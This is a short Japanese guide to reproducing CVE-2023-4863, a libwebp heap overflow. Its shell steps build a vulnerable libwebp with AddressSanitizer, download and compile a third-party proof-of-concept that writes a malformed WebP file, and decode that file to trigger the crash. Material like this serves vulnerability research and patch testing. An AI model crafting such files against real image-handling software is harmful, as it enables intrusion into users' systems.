
CVE-2023-4863の概念実証エクスプロイト。libwebpのヒープバッファオーバーフローで、AddressSanitizerを使用したクラッシュトリガーと再現手順を示します。
# webpをチェックアウト
git clone https://chromium.googlesource.com/webm/libwebp/ webp_test
cd webp_test/
# 脆弱性のあるバージョンをチェックアウト
git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0
# AddressSanitizerを有効化
sed -i 's/^EXTRA_FLAGS=.*/& -fsanitize=address/' makefile.unix
# webpをビルド
make -f makefile.unix
cd examples/
# mistymntncopの概念実証コードを取得
wget https://raw.githubusercontent.com/mistymntncop/CVE-2023-4863/main/craft.c
# 概念実証をビルドして実行
gcc -o craft craft.c
./craft bad.webp
# トリガーファイルをテスト
./dwebp bad.webp -o test.png